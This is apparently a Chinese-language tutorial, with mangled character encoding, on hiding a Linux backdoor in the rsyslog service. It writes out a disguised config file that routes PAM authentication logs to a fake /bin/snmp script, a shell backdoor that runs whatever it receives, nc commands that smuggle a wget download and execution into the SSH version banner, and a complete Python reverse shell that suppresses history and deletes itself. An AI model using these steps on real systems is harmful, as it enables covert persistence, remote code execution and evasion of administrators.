0×01. 關(guān)于Rsyslog
ryslog 是一個快速處理收集系統(tǒng)日志的程序,提供了高性能、安全功能和模塊化設(shè)計。rsyslog 是syslog 的升級版,它將多種來源輸入輸出轉(zhuǎn)換結(jié)果到目的地,據(jù)官網(wǎng)介紹,現(xiàn)在可以處理100萬條信息。
特性:
1.多線程
2.支持加密協(xié)議:ssl,tls,relp
3.mysql、oracle、postgreSQL
4.等等..
一般主流的Linux發(fā)行版本中都會自帶Rsyslog服務(wù),本文則利用這個常見的日志服務(wù)隱藏系統(tǒng)后門
0×02. 實例演示利用Rsyslog 隱藏系統(tǒng)后門
試驗環(huán)境
10.1.100.1 遠(yuǎn)程服務(wù)器,提供反彈py腳本下載 (windows7)
10.1.100.2 控制端 (centos)
10.1.100.3 被控端 (kali)
一、被控端配置
1. 給rsylog添加后門配置文件
在被控端 上執(zhí)行以下命令(假設(shè)你已經(jīng)獲取victim的 root權(quán)限)
man -a rsyslogd syslog | sed 's/^/#&/g' | sed '187 aauth.* ^/bin/snmp #' > /etc/rsyslog.d/README.conf
這串命令的意思試講 關(guān)于rsyslogd syslog的所有man 幫助信息導(dǎo)入到/etc/rsyslog.d 目錄下的README.conf文件中,且在README.conf 文件的188行寫入
auth.* ^/bin/snmp #
命令中之所以寫成aauth, 是因為a是sed的中的關(guān)鍵字,被自動過濾掉,所以要多寫一個
命令執(zhí)行完之后的,結(jié)果如下:

我們知道 Rsyslog 服務(wù)會將/etc/resyslog.d 目錄下的*.conf 文件都認(rèn)為是配置文件, 這里將名字定為 README.conf 也是增強迷惑性(當(dāng)然你也可以找到rsyslog的配置文件,然后修改這個配置文件)
我們來看配置文件中唯一一行沒有被注釋掉的代碼
auth.* ^/bin/snmp #
之所以將其放在188行,因為一般人看到這么多注釋行,不會繼續(xù)往下翻, 將配置行 放在這里不容易被發(fā)現(xiàn)
其中auth 表示的是PAM認(rèn)證產(chǎn)生的日志
auth.* ^/bin/snmp # 的意思是將 PAM 產(chǎn)生的所有日志都發(fā)往/bin/snmp 程序
這里的/bin/snmp 就是我們留下的后門,snmp也是為了增強迷惑性而命名的
2. 編寫后門代碼
后門是一個很簡單,設(shè)置可以說是簡陋的sh腳本, 代碼如下:
#!/bin/sh
sh -c "$1"
$1 表示傳給腳本的第1個參數(shù)內(nèi)容
-c 表示將 $1的字符串內(nèi)容當(dāng)做sh命令執(zhí)行
別忘了給后門增加可執(zhí)行權(quán)限
chmod 755 /bin/snmp
3. 重啟rsyslog 服務(wù)
systemctl restart rsyslog
至此 被控端配置完畢
二、控制端配置
一般的系統(tǒng)都會開放SSH 服務(wù),而且ssh 是基于PAM認(rèn)證的,所以ssh認(rèn)證登錄中產(chǎn)生的日志都會發(fā)往 /bin/snmp
1. 在控制端執(zhí)行監(jiān)聽,等待shell反彈

2. 在控制端執(zhí)行如下命令,下載反彈py腳本,并保存在被控端的/tmp/x.py:
echo "';wget http://10.1.100.1/x.py -O /tmp/x.py;'"|nc 10.1.100.3 22
我們知道ssh 協(xié)議在通信的時候首先需要交換ssh版本信息,已確定是否可以通信
所以這里 ‘;wget http://10.1.100.1/x.py -O /tmp/x.py;’ 相當(dāng)于向victim (10.1.100.3) 宣告自己的ssh版本(顯然這里是偽造的,但這不重要),這個版本宣告信息會被rsyslog捕獲,并將其傳至/bin/snmp, /bin/snmp 會將;wgethttp://10.1.100.1/x.py -O /tmp/x.py;視為入?yún)? 然后執(zhí)行腳本
也即:
sh -C ";wget http://10.1.100.1/x.py -O /tmp/x.py;"
不知道你注意到?jīng)],這里在wget 的命令前后加上;目的是為了防止ssh通信中其他日志信息干擾wget 命令執(zhí)行
x.py 代碼如下:
import os
import pty
import socket
lhost = "10.1.100.2" # XXX: CHANGEME
lport = 31337 # XXX: CHANGEME
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/x.py') # 退出后銷毀自身
s.close()
if __name__ == "__main__":
main()
命令執(zhí)行結(jié)果:

被控端查看,下載成功

4. 執(zhí)行x.py, 反彈shell
控制端執(zhí)行:
echo "';python /tmp/x.py;'"|nc 10.1.100.3 22
控制端查看,獲取shell

|